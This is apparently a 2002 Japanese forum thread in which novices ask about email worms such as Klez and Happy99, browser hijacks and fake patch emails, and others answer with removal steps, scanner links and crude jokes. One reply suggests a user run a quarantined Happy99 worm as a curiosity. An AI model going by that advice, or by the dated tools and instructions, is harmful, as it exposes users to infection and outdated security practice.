ファイル名書いてなかったら、調べられません。

この板はじめてきました。
パソコン初心者です。
ウィルス対策にはなにがいいのでしょう？
どうか教えてください。

>>120
アンチウィルスソフト
http://members.tripod.co.jp/eazyfox/SecuTool/AntiVir/AVguard1.htm
上のは無料のアンチウィルスソフト。
メールソフトは、Outlook Expressを使わない。
Windows Updateをする。

>>119
さっき出たのはZQO8315.EXEでした。
でもいつもランダムです・・・

>>122
そのファイル名で検索したけど、情報は見つかりませんでした。
もう一度持っているアンチウィルスソフトでハードディスクの
中全部チェックしてみて。あと、
http://www.trendmicro.co.jp/hcall/index.asp
でウィルスチェックをして。
心配なら、大切なデータを保存して、リカバリすればいい。

http://www.google.com/search?q=cache:I0X5yp_w8IgC:www21.tok2.com/home/winrose/Security.html+TROJ_KLEZ.E&hl=ja&lr=lang_ja

>>107さん
>>108さん
アドバイスありがとうございます。
で・でももう何回も電源落としたり（しかも凍ってしまって
強制終了とか）、パニクって訳わからずいじったりしてしまってました・・・。
これからの参考にさせてもらいます。

復元
誤ってごみ箱から削除した
http://www.vector.co.jp/soft/win95/util/se192983.html

>>104
もちろん受信後は削除の設定です。

助けてください！！！！！！！！！！！！！！！！！！！！！！！　
ＩＥを開くたびエロのＨＰがでてくるんです。インターネットオプションで
ｈｐアドレス変えても変えても再起動するとリセットされロリＨＰにつなげられるんですが。
ＯＳは９８でケーブル回線です。どうかお願いします。家族に見つかるまで時間ありません
。初心者だもんで半角版でくらいました。

>>128
だもんでご愁傷様

>>128
リカバリ。
それか、インターネットオプションの、webの設定のリセット。

>>127
プロバでメールのウイルスチェックしてない？いや、それが原因ではないのかな。

プロバに連絡して、メルボックスを空にしてもらったらどうだろうか。
じゃなければTelnetで入って、自分のメルボックスがどうなってるのか見てみるとか。

>>128
カゼひいて病院いくとこだから、ジャバスク系ウイルスって前提で書くけど。
コピペでスマンが。

＜IEを起動したら、トップページがアダルトサイトに＞
1-3）JS_EXCEPTION系
HPを見ただけで、IE起動時に表示されるページが変更され、場合によってはQ２（もしくは国際電話）に接続。
ブラウザのセキュリティにて、ジャバスクリプトを有効にしていると感染する。保存したHPのhtmlファイルを閲覧しただけでも危険。様々なタイプが存在する。
アンチウイルスソフトでまずスキャン。
C:\windows\Downloaded Program Filesに、見覚えの無いActiveXコントローラーがあれば削除。

2）レジストリ修復
罠にはまった直後なら、簡単。
スタート→Windowsの終了→MS-DOSモードで再起動。
これが無いなら、電源入れた後F8（機種によってはCtrl）ボタンを押し続け、Command pronpt onlyを選択。
そして「scanreg （半角スペース）/restore」と入力（まさかと思うけど、カッコとカギカッコは入力しない）。
Windows Meなら、スタート→ファイル名を指定して実行にて「scanreg （半角スペース）/restore」
罠にかかる以前の日付のものを選択してEnter（リターンキー）を押す。

3）確認
電話番号書き換えトラップとペアで用いられる事が多い。
デスクトップのIEのマークを、マウス右押し。プロパティを表示。
接続→ダイヤルアップの各設定（電話マーク）を選び、設定→プロパティ。
電話番号の最初の数字が0990や001のものがあるかチェック。

スタート（画面左下）→プログラム→スタートアップより、見覚えの無いものを削除。
Meの共通スタートアップグループc:\windows\all user\スタートメニュー\プログラム\スタートアップのチェック。
スタート→ファイル名を指定して実行→msconfig→スタートアップより、アダルトサイトの名前やアドレスが記載されているものが残っていないかチェック。またその他のタブでも同様にチェック。

IEのプロパティから全般タブを選択し、ホームページがどうなっているのかをチェック。

我ながら、無駄に長いなこのコピペ。
改良の余地があるな。

>>128
オンラインウィルススキャンしなさい。

タイトルは；A WinXP patch。「Part 1.1」という添付ファイルがついてて、本文無しって･･･
やっぱウィルスですよね？
環境は、Win-me；エクスプローダーアウトルックと、MAC-OS9.2；ネスケ4.7-ネスケメーラーです。
共にODNのADSL常時。メールのプロバはnifty。恐くてWinでメール受信できない･･･。
MACでメール受信しておけば大丈夫ですよね？　Winでも添付を開かなければ大丈夫でしょうか？

海外にいる姉からのメールを受けた直後からこうです。たまに書かれている本文は英語だし。
でもFrom欄はjpアドレス。どうなっているのでしょう？
今では１日４通くらいバラバラに届きます。こんなに頻繁に来るのは良くある事なのでしょうか？

プロバの方でキーワードでメールを弾く設定はしましたけれど、不安です。何か良い対策ありますか？

>>135
ウィルスです。
うんこちゃんウィルス。
タイトルが日本語名。

あっ、違った。それは、マイクロソフトのソフトウェアの
バグ修正パッチを偽ったウィルスかな。

メールソフト、マイクロソフトの使わないほうが良いよ。
edmaxというメールソフトの無料の使うのがいい。

姉がウィルスに感染してるんじゃないのかな？
教えてあげると良いよ。

http://www.trendmicro.co.jp/hcall/index.asp
ここ、ウィルスチェックできるところ。
トレンドマイクロというアンチウィルスソフト
作ってる会社のページ。

http://www.microsoft.com/japan/security/
>マイクロソフトからソフトウェアを提供するかのように偽装した
ワーム(ウィルス)が現在蔓延しています。

http://www.vintage-solutions.com/Japanese/Antivirus/Super/download1.html
アンチドート簡易版。

無料のワクチンソフト。

>>135
添付開けないでもウィルスを発動させるテクニックも開発されている。プレビュー切っとけ。
Macなら大丈夫かというとWin3.1が流行る前はMacのウィルスの方が活発だったんだがな。

>海外にいる姉からのメールを受けた直後からこうです。
ウィルスの流行とメールが来たのがたまたま一致したんだろう。

対策法はいくつかある。
製品版のアンチウィルス入れる。サポート有り
プロバのスキャンサービス申し込む。
フリーのアンチウィルス入れる。サポート無し。
経験値を上げて、ウィルスの動作原理を理解する。
姉さんのﾊｧﾊｧJPEGで経験値の高いﾔｼを雇う。>>135が女なら自分のでも可。(w

WIN2000ProでJS/IEStart.gen.cというウイルスに感染しました。
アンチウイルスソフトでファイルを削除し、IEのスタートアップ
ページも治したんです。
それでも再起動をかけるとまた勝手にホームのページを書き換えるので
仕方ないから放置しておくときっかり30分おきにIEが勝手に起動
することが判明しました。

検索でウイルス情報を見ても｢ファイルを削除して情報を正しい物に
書き換えれば治る｣って書いてあるんだけど、相当しつこいですこのウイルス。

おまけにタイトルバーは変な文字化けしちゃってるし・・・・

なんか良い方法はないですかねー？

>>171ガイシュツ　このスレの73以降にあり。

スマソ　>>171ではなく>>141ね。

http://www.hotwired.co.jp/news/news/technology/story/20020328301.html

添付ファイル無しのウィルスメールってあるんでしょうか？



件名 : Fw:Fw>Fw:Fw:Fw>Fw:Fw:Fw>Fw>Fw:Fw:
>テレビの番組でメールが何処まで繋がるかを実験中!スターとは北海道の小樽市の加
藤浩さんです。結果は５/13PM7時鉄腕ダッシュで放送されますチーム名は（長瀬チー
ム）です!これを９人に回して下さい!イタズラではナイのでお願いします!止めない
でネ


こういうメールが家族の名前で送られてきたんですけど。
本人は送った覚えがないと言っています。
誰か教えて〜。

>>145
アドレスは、家族のアドレス？
添付ファイルなしのウィルスもあると思う。

>146
そうです、家族のアドレスから送られてます。
添付ファイル無しってことは、開いただけで感染するって
ことでしょうか？

>146さん、追加
姉からきたメールだったんですが、今朝姉のところにお友達から
一通メールが来て、その数分後に、この件名Fw:Fw>Fw:Fw:Fw・・・
のメールが来たそうです。

>>140
OEでのプレビュー感染ってMS01-020入れればいいかと。

>>145
鉄腕ダッシュのチェーンメールって、かなり有名だと思うんだけど。

「bio-net」ってどういう機能のツールでしょうか？
どなたかご存知の方、お教え下さい。 　　

>>150
検索しろ！>>1を読め！

>>149
プレビューしとくと、意思に反した開封確認しちまう可能性がある。

happy99ウイルスっつうのが検疫に入ってるんですが
どうすれば？いいのでしょうか？

>>153
何もしなくていいからとにかく触っては駄目。
Shift + Delete キーで完全削除すると吉。

お前のPCはWin32/Klez.E@mmに感染したよーと
メールが来た。とほほ

体験版落として駆除できますか？

>>155
まずやってみれ

>>155
濡れ衣だったりして。

スミマセン！質問です。
Ｃｔｒｌ＋Ａｌｉ＋Ｄｅｌを押すと
D066uutyってあるんですが　これ何ですか？

>153
今となってはめずらしいので記念に取っておくこと
動かしてもたいした実害はないので試してみれ

件名「color」差出人はNiftyのアドレスというのが
2日連続で来て（別アドレス）、今日は「IE6 patch」だった。

「color」ってなんでしょう？
「IE6 patch」は明らかにやばいですよね。

>>160
検出名って何？

差出人もタイトルも本文も無くて、
添付ファイルだけ来ました。

PLGDLNPL.EXE

と、書いてあるんですがウィルスでしょうか？
シマンテクとトレンドの両方のサイトで調べたけど
該当するものが無いみたいです。

さっき、いれたてのAVG使ってNimdaがあるサイトに行ってみたら、
青い画面になったんです。
その時「access enable」とか言われて「yes」「no」「heal」と選択肢がでたんですけど、
そのままにしといたら何かデスクトップ画面に戻ったんです。

俺はそんときどうすりゃ良かったのか教えてください
今後ウイルスに感染したときのためにも・・・おながいします。

>>162
Hybris.bです。
ファイル名はランダムで、最初の2文字と最後の2文字が同じなので。

>>163
no(そのままリターンを押す)を選べばいい。

>164
ありがとうございます。

>>165
ありがとうございます！

でも、今回みたいにそのままにしといた場合でもべつにいいんでしょうか？
あと、今さっきまた青い画面になりましてそのときは、
「heal」を選択してしまったんですが、これも大丈夫なんでしょうか？

>>167
healはウィルス除去してくれるはずだが、除去できるような感染サンプルで
試してないのでよくわからん。
除去できない場合はアクセスできなくしているようだ。

>>168
なるほどhealはウイルス除去なんですか
（漏れの場合そのあとのウイルスチェックでは見事にひっかかりました）

あと、そのままにしておいた場合のこともできれば教えてくれるとうれしいのですが・・・

>>169
30秒ほっぽっとくと自動的にNOを選択

js.spawn　　ってなに？

>>171
検索しろ

>171
http://www.nai.com/japan/virusinfo/virS2000.asp?v=JS/Spawn

マカフィーしか対応してないのか？それとも別名でつけられているんか？

>>170

ありがとう！

おっと、[email protected]からKLEZ.G型ウイルスが来たぞ。
試しにhttp://www.dionsupport.netと入力してみたら、、、、、、

.....プロバイダーの一組織がやられるとは、なかなか素晴らしい。

【ＡＶＧ】
感染したとき「ＮＯ」を選んでも隔離室にウイルスが送られないので、
いつもいちいちウイルススキャンしてるんですがこれは仕様ですか？
もし対策があればお教えください。

>>175
その検出名、アンチウイルスソフトは何？

Sophosユーザーが居たのか。
ちゅうか放置かい。

難しい質問ですが、教えてください。
SEARCHURL.MP3という名前のウイルスは存在しますでしょうか？
またもし存在する場合、どのようなウイルスでしょうか？
ウイルスかもしれないと思うのはあくまでも僕の推測なのですが、
どうでしょうか。

>>179
しないと思われ

>>179 http://www.google.co.jp/search?hl=ja&q=SEARCHURL.MP3&btnG=Google+%8C%9F%8D%F5&lr=lang_ja

>>175
残念、ハズレ。
KLEZは差出人を詐称するんだよ。

KREZって、メールヘッダは全然信用出来ないんですかね
（Receivedの一番上のはこっちのメル鯖が付けるから、これは別にして）
６日発症らしいから教えてあげたいんだけどねぇ。

>183
ちゃんとした差出人(友人)で、Klezが届きましたが、なにか。
ウィルスは複雑な動きをしたり、亜種が発生したりするから、
決まったものだと信じないほうが安全。でないと...
・Klezによって、導入してあった駆除ソフトのDLLを消されました。
・新たに導入した駆除ソフトは怪しいexeをすべて消しました。WinMX.exeまで..
・朝の５時までかかって復旧。
とかなっちゃうぞ〜

>175
www.symantec.co.jp/region/jp/sarcj/data/w/[email protected]
の「注意」のところを読んでごら
じつはそのメールはあなたが

>注意：このウイルスが独自のSMTPエンジンを使って送信した
>電子メールが一見「メールサーバーから戻されたメール」に
>見える様式で届いたという報告が幾つか寄せられています。
...

>>184
う〜む。うちのメル鯖には、神奈川県下のケーブル会社のドメインから来てる
ことになってるけど、送信元メールアドレスは、神奈川県でサービスしてない
プロバアドレスになってるから、イマイチ決定しないんですよね（勿論、メール
だけ保持して使ってる可能性もないこともないんで、その点からもイマイチ）
可哀想に…（ｗ

ちなみに私はＯＥ使ってないから、こんなメールは屁でもないです
（思いっきりアヤシイ添付だったし…）

サブジェクトは"Questionnaire"添付ファイルが"DD70.exe"という
ウィルスメールが届きました。

新種でしょうか？

すいませんがどなたか「WORM.KLEZ.E」というウィルスの適切な処理の
仕方を解る方いらっしゃいますか？
トレンドマイクロのウィルスバスターでは駆除、隔離できませんでした。。

マルチポストやめれ。初心者質問スレにレスしてやったのに。

ＪＰＥＧファイルを開こうとしても開かなくなりました。
ＶＩＷＥＲの代わりに（？）
「rundll32.exe C:\WINDOWS\System32\shimgvw.dll,ImageView_PrintTo /pt "%1" "%2" "%3" "%4"」
が実行されているようです。

これは、ウィルスが発症していると考えて間違いないでしょうか？

>>190
フォルダオプションから、拡張子の割り当てをカエレ。

>>190 ウィルスチェックしてみた？アンチウィルスソフト持ってなければ、
http://www.trendmicro.co.jp/hcall/index.asp　で。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SIRCAM.A&VSect=T
↑これの可能性あるかも。

>>192
SirCamのrundll32.exeでエクステンションの割り当て、変わるんだろうか。

>>190
ウイルスチェックして、結果報告してほしい。
結果がわかるまで気になって寝られなくなった。

cheshire-catさん、192さん、ＲＥＳありがとうございます。

先日「ＫＬＥＺＥ」入りの添付ファイル（ＪＰＥＧ）付きのメールが
来て、それが原因というか、発端なんです。
（セキュリティソフトにより「検疫」項目に入れられてました。）

そのメールがアクティブになると、「Windows Picture and Fax Viewer
」で画像が開くので、開かないようにできないかと思い・・・。
フォルダオプションの詳細設定を覗き、少しいじってしまいました。
（といっても、致命的なことはやっていないつもりなのですが・・・。
やめておけばよかったっぽいです（涙）。）

ウィルススキャン、時間がかかっています。終わったら報告するつ
もりですが、深夜になるかもしれません。すみません。
いまのところ感染はないようです。

>>194
そりゃめんどいかも。
一つ一つエクステンションごとに設定するのって、面倒だし。

ちゅうか
>そのメールがアクティブになると
まだ駆除できてないんかい！
LANカード抜いて、アンチウイルスソフト一旦落として、それからメーラーで該当メル削除→削除済みメールも削除。
それからアンチウイルスソフト使えばどうだろうか。

ちゅうか、scanreg /restoreでダメ？

ごめんなさい！　わかった・・・気がします。

openアクションのアプリケーションのところに、誤って
printtoアクションのアプリケーション実行ライン
「rundll32.exe C:\WINDOWS\System32\shimgvw.dll,ImageView_PrintTo /pt "%1" "%2" "%3" "%4"」
つまりこれ（↑）をコピーしてしまっていたのです！

「http://www.vector.co.jp/soft/win95/util/se225231.html」で、
「TIFFファイルの標準ビューワが、Win2kでは、イメージング
C:\Program Files\Windows NT\Accessories\ImageVue\kodakimg.exe
だったものが、WinXPでは、Windows画像とFAXビューワrundll32.exe
C:\WINDOWS\System32\shimgvw.dll,ImageView_Fullscreenに変更さ
れました。」という記述を見つけまして・・・。

ウィルスじゃなかったみたいです。お騒がせして申し訳ございません
でした！　ほんとごめんなさい！です。

>>196
いえいえ、こちらも勉強になりました。
ウイルス絡みだと、どうしても何をどうしていいのかわからなくなりますよね。
人柱、ご苦労様です。
あなたのおかげで、何人もの利用者が、今後救われます。

誰か　Klez専用スレが　どこにあるかわかりませんか？

もう、ほんとに・・・お恥ずかしい限りです（汗）。
焦りまくってパニック状態でしたが、親切なアドバイスを
いただきながらでしたので、不安に耐えられたと思います。
cheshire-catさん、どうもありがとうございました。

>>198
KLEZにはうるさい漏れなんだが。

現在ノートン等でKLEZ.Eって検出される変種、漏れ4つ持ってます。
それぞれ挙動やファイルサイズが全然違います。

定石としてレジストリの書き込みをチェックして（それぞれ該当ファイル名の名前が違うから）、該当ファイルを見つけ削除するようにお勧めします。

さっきふと気がつくと、不特定多数のプログラムやWindowsの設定画面等の
ウインドウ上部の青いタイトルバーのところに、変なふざけた言葉が
常にくっついてる状態になっていて、

例えばIEを開くと、「Internet Explorer」と表示されてるところが
「Internet悲しい目をした犬」とか、オプションを開くと
「インターネットオプションの父です」とか他にもランダムでいろいろ変な言葉が。
再起動しても消えないし、いつからそうなったのかわかりかねるので、
とりあえずシステムの復元（WinMe）で数日前の状態に戻したらなくなりました。
それでオンラインウイルス検索をしてみたんですが何もひっかかりません。
原因を探そうと最近入手したプログラム等をいくつか実行して同じ症状が出るか
確認したんですが出てきませんでした。

こういう症状を引き起こすプログラムについて何か情報知っている方いますか？

>>201
それ飽きたんだけど、、、

>>202
そう言われて自分の調べ方が甘かったかと思い（質問前もかなり調べたつもりだが）
もう一度、この板はもちろん初級ネット板やPC初心者板の質問関係スレを今まで
ずっとぐるぐるめぐってたけど全然同じ質問見つからない。

唯一初級ネット板で質問してるヤツ一人見つけたけど、こいつのマルチポストが
ばれたせいで「窓の手で修正しろ」と言われただけでシカトされてるし。

トレンドマイクロ、ウイルス感染被害マンスリーレポート 【3月度】発表(4/3)。
http://www.trendmicro.co.jp/virusinfo/report/mvr020403.asp
先月5位から3位に浮上。

IPAは、「W32/Klez」ウイルスの亜種に関する情報 (4/2)。
http://www.ipa.go.jp/security/topics/newvirus/klez.html

再流行のきざしか。

家族でPCを使っているそこのお父さん、
Outlook(Express)をメーラにしているならお子さんにも注意しといてね。
「開く」を押したらだめだぞぉ、って。(警告でるようになっていても無意味)

>>203
>もう一度、この板はもちろん初級ネット板やPC初心者板の質問関係スレを今まで
>ずっとぐるぐるめぐってたけど全然同じ質問見つからない。

うそつけ

>204
あっ Klez クレズ の話ね。
次から自動修正ツールに行けます。私はこれはためしてないけど。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_KLEZ.A

WORM_KLEZは駆除はできませんとのことです。つまり感染したexeは消すしかないようです。
AVGも消しちゃうようです。

>>205
本当だｳﾞｫｹ

>204
ていうか
ネスケでも何でもいいから
M$以外のものを使うようにしてくれ・・・

>>207
■ 初心者用質問スレッド Part8 ■
http://pc.2ch.net/test/read.cgi?bbs=sec&key=1014880309
より引用

675 名前：名無しさん＠お腹いっぱい。 E-mail： 投稿日：02/03/24 17:12
いつの間にか自宅の Internet Explorer が 小林カツ代エクスプローラ に
なっちゃったんですけど、どうしたらいいんでしょうか。

871 名前：名無しさん＠お腹いっぱい。 E-mail：sage 投稿日：02/04/01 00:16
教えて君で申し訳ありませんが、質問させてください。
うちのIEは何故か、上の青枠の中のタイトルの横が
「InternetExplorer]の代わりに「小林カツ代エクスプローラ」という文字が出ます。
先週か先々週の頭くらいからなのですが……これはどういう事なのでしょうか？

メガネかけろ

スパイウェアのalexaなんですが、
何のソフトについてるんでしょうか？
前にリストが載ってるサイトを
見つけたのですがいまはノットふぁうんどに・・・

　　

Hola como estas ?

Te mando este archivo para que me des tu punto de vista

Nos vemos pronto, gracias.



ウィルスのくせに英語以外の言葉使うなよ・・・なんだかわからん。

>>212
スペイン語だお。


これらとしてこんにちは？
あなたが私にあなたの見地を与えるように、私はあなたにこのファイルを送る
我々はまもなくお互いに会う、ありがとう。

・・・・・・・・・むぅ、やっぱり機械翻訳では無理があるな。

>>209
小林カツ代エクスプローラー

氏ぬほどﾜﾗﾀ

>>131
cheshire-catさん

いろいろ話を聞いてくださってありがとうございました。
サーバのメールBOXを新しいものに変えて、おかしいBOXは削除しました。
こないだは同じ名前でBOX作ったら変化無しだったのですが、
ほんとに新しいBOXにしたら今のところ問題無いみたいです。
お礼が遅くなってごめんなさい。

>>216
いえいえ、あまりお力にもなれずにすまんっす。
えとですね、書いちゃうけど。

設定が変なメル鯖って多いんですよ。
例えばちょっと話が変な方向に飛ぶけど。
Badtrans.Bみたいにメル本文にウイルスコードが記載されてると、アンチウイルスソフトはそれを削除するけど、その後「接続しっぱなし」、の変な状態になる、とか。一定時間後に強制ログアウトすればいいのにと思うけど。

実際、管理者はこの手のトラブル、ユーザーからのフィードバックが無いと気付かないんですね。
どんどん訴えてもいいと思います。

あの、またつまらん質問なんですけど。

小林カツ代エクスプローラーとか、悲しい目をした犬みたいに、ブラウザの表示を変えるウイルスか何か、先月から散発的に話題になってますが。
誰かなにか情報持ってませんか？
漏れは被害に遭ってないけど。気になるんで。

>>218
小林カツ代エクスプローラーはデスクトップアクセサリーの「何か。」が原因。
ここを参照。
ttp://www.ah.wakwak.com/~deep/products/restore.htm

>>219
即レスどうもっす（感謝！
スキン関連（でいいのか？用語がわからんのだが）だったのか。

今日になって、W32.klez.E@mmが多数送られてくる。
送信元にも確かに送られてきてるらしいんだけど、感染前に駆除をして
いるらしい。これって、感染してないマシンからでも、アドレス帳読み
取って送るものなのかな？
親感染元→子受信元（非感染）→孫受信元（感染）って経路は成り立つ
ものなのかな？　それとも、親感染元→子だけで、子→孫って存在しな
いんだろうか・・・。んで、複数の子に送る際に、他の子のアドレスを
送信元と偽ってるんだろうか・・・。
うーん、シマンテックとかも感染していることを前提として説明してる
から、よくわからない。
だれか、教えて・・・。

>>221
>感染してないマシンからでも、アドレス帳読み取って
そりゃないでしょう。

1）子感染元（非感染、と自称）が、感染しているのに気付かないか、もしくはその事実を隠している。
2）その子送信元（非感染）とやらのメアドが記載されているファイルが、孫送信元（感染）のパソに存在していた。
3）ただ単に送信元を偽装していた。

KLEZ系の送信元偽装のプロセスというかパターンって、どこにも明示されてないな（漏れが見つけられないだけかもしれないが）。

>>218
>誰かなにか情報持ってませんか？
もう情報持ってるんでは？（ネタだろ）

>>222
1）の可能性が一番高いと思ったりｗ
2）に関しては、こちらが孫にあたるので無いと思います。感染もして
いませんし、まったく知らない会社さんからでしたから。ただ、あまり
にも同業者系列の会社ばかりからだった点と、送信元のメアドが全て
support@〜だった点がひっかかります。こちらのアドレス（受信元）も
support@〜でした。誰かのリンク・アドレスでいっぺんに引っかかった
可能性があると思います。まあ、子・孫の関係とは別の問題ですが。
3）ですが、これが送信元偽装のプロセスに引っかかってきますね。こち
らも明示されているものを見つけられませんでした。

というか、cheshire-catさんにはマウスカーソルの強制移動の件でもレ
スを頂いた覚えがｗ
たびたびありがとう御座います。

Hello,This is a special nice game
This game is my first work.
You're the first player.
I expect you would enjoy it.

kitty.exeってのがついていた。ウィルスなんだろうけど、マックに送られてﾓﾅｰ。

>>223
漏れそっち系わからん、全く。
よそでもこの話題見つけたけど、結論が出てなかったし。
2chの速報性って凄いよね。

>>224
送信元のKLEZが送信者を偽装しているんですかね。
んで、パソ内のファイルから抽出したメアドを利用しているとか。
本当の送信者、メルのヘッダ見てチェックすればどうでしょうか。

でもやっぱり（1）、多いんでしょうね。
KLEZ系は送信者を偽装するっていうけど。
他のVilliで、漏れもそゆことあったし。

>>225
本文、KLEZ.E系です。
漏れが持ってる情報では、この本文で送られる奴はpicacu.exe(85.3KB)だそうだけど。

メモしときます。

>>225
すんません、ファイルサイズ幾つですか？

送信者の偽装、添付ファイルについて書いてあったよ。
ココには書いてなかったけど、添付ファイルにはtxtもあるよ。
ウイルスバスターがウイルス削除済みのメールでも、開くと
添付されたjpgやtxtが別ウインドウで開くこともあるね。
OEのスクリプトの実行をオフにしていても、実行する方法が
あるらしい。

ttp://www.ipa.go.jp/security/topics/newvirus/klez.html

>>229
4月2日か。遅いな〜

txt添付ってそいえばあったよ。内容はなんだか壊れて判別できなかった。
けど、勝手に開くか？

うん、関連付けたビューアとかエディタで別窓開くよ。
その場合、「保存しますか？」のダイアログも出ない。
KLEZ全部じゃなくて、一部の亜種だと思う。
ダイアログ出るのもあるし。

こうなったら意地でもOE使い続けちゃる。(笑)

それと、オンラインソフトの紹介サイトでいまだにオレの
アドレス晒しっ放し(とっくに公開やめてるのに)の管理者
更新しないならヤメレ。

>>229
これだ！！
でも、SARCもこのウィルスの情報はいらないって言ってたのに、4/2って
のはいかがなものかなー。発見日1/17で、2月には完全解明みたいなこと
言ってたのにｗ

でも、これですっきりしました。どうもありがとうございました。

>>228
どうもありとうございます。ﾏｸのﾉｰﾄﾝが無視してくれたので、
気になっていました。

ウィルスのファイルサイズは88ｋで、16ｋの画像ファイルであるgeo_iceage4[1].jpgが一緒についていました。

ノートン＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
バスター＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞クソースネクストバカフィー
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞ウイルス警備隊

>>231
あのーですね。
それだとアンチウイルスソフトに未対応のvilliが着たら、ダイレクトアクションで即感染しませんか？

>>233
ファイルサイズが、はて。。。。。
また変種か。
MacのNortonで検出できなかったなら、代わりにウイルススキャンしましょうか？

というか、下さい。スキャンし終わったらメルで報告後、トレンドに送っておきます。

今、英語で
「私の彼女の写真を見て！」という
メールがきました。
添付ファイルありでした。
ｳｲﾙｽですよね？

>>236
さあ。漏れが入ってる洋物情報MLでは、ありきたりな題名だけど。

ウイルススキャンしれ。

やっと専用スレが立ちました

Klez系,Klez.Eスレッドhttp://pc.2ch.net/test/read.cgi/sec/1018248786/l50

>>236
はっきりいって、ウィルススキャンするまでもない。
見るな、捨てろ。以上。

インターネット悲しい目をした犬http://pc.2ch.net/test/read.cgi/sec/1018186700/l50

Ctrl+F用

http://game.2ch.net/test/read.cgi/gsaloon/1017585093/
↑の393のリンク先へ行ったらノートンアンチウイルスが
反応しましたがウイルスの検疫ができずガーとものすごい音がしました。
その後怖くなってＨＤドライブをウイルススキャンしたんですが
何もウイルスが検出されませんでした。
これはただのブラクラなんでしょうか？
怖くてパソコンの電源が切れないので教えてください。

>>241
うちで使ってる悪名高きワクチンソフト、ウイルス警備隊ではウイルス検出されたぞ。

JS.Exception.Exploit
http://www.symantec.com/region/jp/sarcj/data/j/js.exception.exploit.html

のーとんでも検出されましゅよ。ふつうに。

http://ime.nu/[email protected]/sg9741/index.html?yuryo

,,

>>244
うぜーんだよしね

先ほど、「Onclick」というタイトルのメールを受信し、メールを見た途端に
突然別ウィンドウでgif画像が表示されました。
セキュリティホールには気を付けて最新のパッチもあてているのに…。
ウィルスかどうか分からないのですが、ご存知の方情報をお願いします！

>247
＞メールを見た途端に
＞突然別ウィンドウでgif画像が表示されました。
＞セキュリティホールには気を付けて最新のパッチもあてているのに…。

それはメール自体がhtmlで書かれているからと思われる。
外国から来るスパムは大抵はHTMLで書かれているので、OEで受信して開くと、
自動的に実行してしまって表示するようになる。

それが嫌であれば他のメーラーを使うか、OEのプレビューを切る。
（OEのプレビューを切っても、開いては意味はないですが)

OEのプレビューの切り方
OutlookExpress を起動し、ローカルフォルダを選択して、
メニューバーから [表示] - [レイアウト] で「ウインドウのレイアウトのプロパティ」ダイアログボックスを表示し、
「プレビューウィンドウを表示する」のチェックを外す。

>>248
ｻﾝｸｽｺ

すみません教えて下さい。。
ノートン入れてから始めてウィルス（klez）が届いたんですが、
検疫が済んだら添付されてたファイルは見ても大丈夫なんでしょうか？
JPEGでなにやら写真かなーとは思ったんですが、怖くて削除してしまいました。

>>250
「検疫が済んだら、検疫されなかったjpgファイルは大丈夫か」、の意味か？

二重拡張子が「.jpg.pif」とかじゃなければ大丈夫だと思うが。
漏れならやらない。

というか「pif」って拡張子、表示されないんだよね。
ファイルのプロパティで確認してちょ。

>>251-252
レスありがとうございました。
見ないに越した事はないですね。
何かあってからでは遅いので、これからも潔く削除します！

A IE 6.0 patchつうタイトルでなんかjpegと
interscan_safestamp.txtが添付されてるメールが来た｡
もちろん知らない人から｡新種のウイルスかなと思って
即削除したけど、これ今はやってないのかな？
ここ来てもだれも言ってないから。

>>254
いや、もう似たようなのは幾つも既出だよ。
MSは個別のユーザーにわざわざそんな親切に、パッチ送ったりしないし。

ただ拡張子が二重だったのに君が気付いていなかっただけかと。
二重拡張子ってさっき書いたけど。
例えばEro.jpg.pifとかEro.txt.batみたいなやつ。

>>254
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/policy/swdist.asp

ノートン＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
